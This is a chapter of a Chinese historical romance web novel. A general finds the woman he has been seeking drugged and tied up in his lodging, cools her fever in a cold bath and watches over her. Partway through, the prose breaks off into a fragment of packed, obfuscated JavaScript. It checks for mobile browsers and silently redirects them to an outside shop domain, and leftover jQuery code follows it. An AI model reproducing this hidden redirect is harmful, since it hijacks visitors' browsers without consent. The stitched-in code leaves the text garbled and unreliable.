乐声欢快,酒香四溢,舞姬婀娜的身姿在半透明屏风的映衬下更加有意境。
燕封手里捏着酒杯眯着眼看着表演。
一舞毕。
燕封饮尽杯中酒,将杯子随手一掷:“跳的好。”
坐在他身边一直闭着眼的贺北竞睁开眼:“你喝多了,你很吵。”
燕封瞥了他一眼:“你找不到人,别把气撒到我头上,要不是我拉住你往京城赶,你还在江宁府找人呢,要回京的是你,想误了时间的也是你,这叫什么,叫抗旨,抗旨是要杀头的,耽误我过清闲的日子,我都没怪你,你还觉得我吵呢。”
贺北竞起身,略带嫌弃的抖掉他身上沾到的花瓣,随后大步离开了房间。
燕封奇怪的看了一眼坐下下方身材臃肿的男人。
“何大人怎么不拦了?”
何财神秘的笑了笑:“王爷和贺将军要回京,路过这里,下官自是要用心招待,之前不知道将军不喜这种场合,现在知道了,王爷和将军明日就要离开这里,自然要让两位都高高兴兴的。”
“上道。”燕封拍了拍手,“再来一曲。”
丝竹声再起。
回自己房间需要穿过一个小型花园,路过一处假山时,贺北竞一拳砸在假山石头上。
鲜血顺着指缝往下流。
付晚寻的突然失踪让他心情很糟糕,丰水县和江宁府他都翻遍了也没有付晚寻的身影,圣旨已下,他不能不回。
随手甩了一下手上的血珠,他站到了房门前。
屋内有人。
习武的警觉性让他确认屋内有其他人的气息。
已经出了江宁府,这里是灵城府府尹何财的别院,能悄无声息的潜入的不是普通人。
慢慢将门推开,手一直摁在刀柄上蓄势待发。
暗器、迷烟,能攻击他的东西统统没有,只有一个被绑了手脚躺在床上背对着他的女子。
贺北竞明白何财为什么不拦着他从宴会上离开了,原来在这里等着他呢。
他一脚将门彻底踹开,两三步走到床前,两刀斩开了女子手脚上的绳子。
“起来,马上离开。”
被绑着送到这里,也是被逼的,贺北竞不想为难她。
看着女子没动静,贺北竞拽着她的衣袖想把她拉起来:“我说了,出去。”
“嗤啦”
柔软的布料在他的手下碎成了几片,光滑细腻的肌肤暴露在眼前。
连衣服都做了手脚,贺北竞耐心彻底失去,手中寒芒一闪,锋利的刀刃贴上女子的脖颈,鲜红的血迹顺着刀刃落在地上。
“痛。”女子轻呼一声缓缓睁开了眼睛。
贺北竞手中的刀“哐当”一声掉在了地上。
付晚寻挣扎着想起来,奈何头重脚轻,身体不受控的向地上栽去。
再次落入熟悉的怀抱里。
付元伸的药太重,付晚寻连头都抬不起来,她只能依偎在贺北竞怀里。
刺鼻的酒味和淡淡的脂粉味道扑进鼻腔,多重刺激下,付晚寻晕眩感更重,双手本能的搂住了贺北竞的脖子。
屋外有路过的下人听到了动静过来查看。
“将军,可是出什么事儿了?”
付晚寻那条暴露着皮肤的胳膊还搭在他肩膀上,虽是晚上,但在烛火下还是能隐隐看到一点。
“滚。”
贺北竞一声暴喝,随后一掌拍出,用掌风将门重新关上。
付晚寻艰难开口:“大人。”
她看不到贺北竞的脸,不知道他现在是何表情,但从他粗重的喘息声和微微颤抖的身体判断,他应该是在生气中。
贺北竞没说话,就这么抱着她,许久之后,他一只手抚上付晚寻的额头摸了摸:“他们给你下药了?”
“嗯。”付晚寻应了一声,“不知道什么药。”
贺北竞把她重新放到床上去找药,看着那个熟悉的瓷瓶,付晚寻挤出一丝笑:“大人第一次见我给的就是这种药,挺好用的。”
贺北竞给她喂了一颗药丸,又往她脖颈处涂了些白色药粉。
冰冰凉凉的感觉缓解她一部分眩晕感,付晚寻有力气开口了:“大人可是在怪我偷偷逃跑?”
贺北竞对上她的眼睛:“是不是他们把你掳走的?”
他希望从付晚寻嘴里听到不一样的答案。
付晚寻看着他微微蹙着的眉心摇了摇头:“不是,是我自己要逃的,后来才被他们抓住的。”
贺北竞眼中闪过一丝失望,他深吸一口气问:“为什么?”
付晚寻侧了侧身子去拉他的手,被他躲开了。
付晚寻收回手闭了闭眼,心中升起一股燥意,付元伸给她灌了蒙汗药,说娇弱的女子才会更惹男子疼惜,现在看来没啥用。
她重新睁开眼睛缓缓开口:“大人说喜欢我,可大人喜欢我什么?喜欢我身份卑微还是性格沉闷?大人的这份喜欢太重了,我承担不起。”
贺北竞声音冷的能结冰:“所以你就要逃?”
“是。”付晚寻语气坚定,“我身上唯一有用的就是那点能力,可这种东西不用我说大人也明白,这种能力是会让我丧命的,还有付家,不说以前,就说现在,付家收了两万两,我就躺在大人床上了,我不知道我该信谁?我能信谁?”
贺北竞声音低沉:“说到底你还是不信我。”
付晚寻不在说话,两行眼泪顺着眼眶流出,打湿了枕头。
贺北竞的心如同被什么东西攥着,闷的他喘不过气。
付晚寻的眩晕感减轻了大半,只是心中的那股燥意更重,连口舌都干燥起来。
她不肯喝那碗蒙汗药,付元伸就让人摁住她强喂,在那种情况下掌握不住量,应该是多喝了些。
她起身想去喝水,被贺北竞拽住了。
贺北竞身上向来很热,此刻握住她腕的手却是冰冰凉凉的。
付晚寻控制不住的往他身上贴。
贺北竞这次不躲了,任由她攀上自己的手臂,肩膀,最后整个人都贴上了他。
付晚寻意识有些模糊,不用于之前眩晕,眩晕时她意识是清醒的,现在的她眼睛里只有不远处桌上的茶壶,根本不知道自己在做什么。
她指了指水壶抬眸:“大人,我口渴,想喝水。”
面前的人眼神朦胧,眼中洇着水汽,眼尾泛红,贴上他的身体烫的惊人。
贺北竞没动:“水帮不了你。”
付晚寻失望的垂了眸,意识越来越模糊,身体越来越热,她先扯自己的衣服再去扯贺北竞的衣服。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17620318|202154||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>贺北竞就这么站着不动,任她扯。
坚硬冰凉的触感传来,她摸到了贺北竞身上的刀鞘,付晚寻清醒了一瞬。
孙嬷嬷,喜鹊,宋峪,付元仲的模样在她眼前晃。
她得救他们。
付元伸给她的这套衣服轻柔合身,颜色鲜艳,能最大程度显示女子的身形,可现在,衣服被她扯的乱七八糟,松松散散的挂在身上。
贺北竞没比她好多少,腰带被她解开,外衣掉了一半在地上,里衣虽还穿着,也散开了。
付晚寻反应过来,这不是蒙汗药。
趁着意识还在,她咬了咬牙直接抱住了贺北竞。
贺北竞听到她说:“逃也逃不掉,还是被送到了你身边,我就不逃了,给我一点时间……我努力让自己爱上你……好不好……”
在说完这句话后,付晚寻的理智彻底失去。
她浑身燥热难耐,唯有面前一点凉,犹如濒死的鱼儿渴望水潭,干涸的土地渴望甘霖。
她捧着贺北竞的脸,吐息不稳:“我好难受,帮帮我。”
贺北竞不是圣人,心爱之人如此模样他不可能无动于衷,可他内心知道,付晚寻只是被人利用了。
思索片刻后,贺北竞抱住他往房间角落走去,那里有一个沐浴桶,他惯用冷水沐浴,在出门前就吩咐了下人给他准备好水。
付晚寻仍旧抱住他不撒手,眼中一片欲望。
贺北竞将她放进桶里,她体温太高,水又太冰,刚一接触到水面,付晚寻就瑟缩了一下,他犹豫片刻,抱着付晚寻两人一起进了桶。
“好凉。”付晚寻喊了一句挣扎着要起身。
贺北竞将她死死箍在怀里。
“我好难受,为什么要这么对我?”付晚寻身体难受,思维不在,双拳不停地在贺北竞身上捶打,“你放开我,放开我。”
水桶是单人桶,他们两个进去后水就溢出去了一些,付晚寻挣扎的太厉害,再这么下去水位就不够了。
贺北竞垂眸,声音轻柔:“听话,别乱动,一会儿就不难受了。”
这一番挣扎消耗了付晚寻大部分体力,听了贺北竞的话后她不动了,靠在贺北竞怀里:“真的?”
贺北竞:“真的。”
付晚寻紧紧抱住他:“那你别走,在这里陪我。”
贺北竞轻轻“嗯”了一声。
不知过了多久,付晚寻睡着了,贺北竞伸手贴上她的额头,体温降下来了,呼吸也平稳了。
他抱着她离开水桶将她放到了床上。
衣服被水浸湿,特制的薄纱衣服与身形紧紧贴合,将女子玲珑的身形展示无余。
“该死”贺北竞喉头滚动,呼吸粗重,他骂了一句后深吸了几口气才将心底的悸动压下去。
“好冷。”
付晚寻打了个哆嗦。
贺北竞打量了一番屋内,各色的珍玩古董奢侈华贵,这个何财很不一般。
他换下自己的湿衣服,又将付晚寻的外衣脱掉,随后抱着她盖上被子用自己的身体给她取暖。
睁开眼。
付晚寻的头痛的厉害,她晃了晃脑袋。
几根发丝扫过她的脸,痒痒的。
再侧脸,贺北竞也睁开了眼。
他道:“醒了?”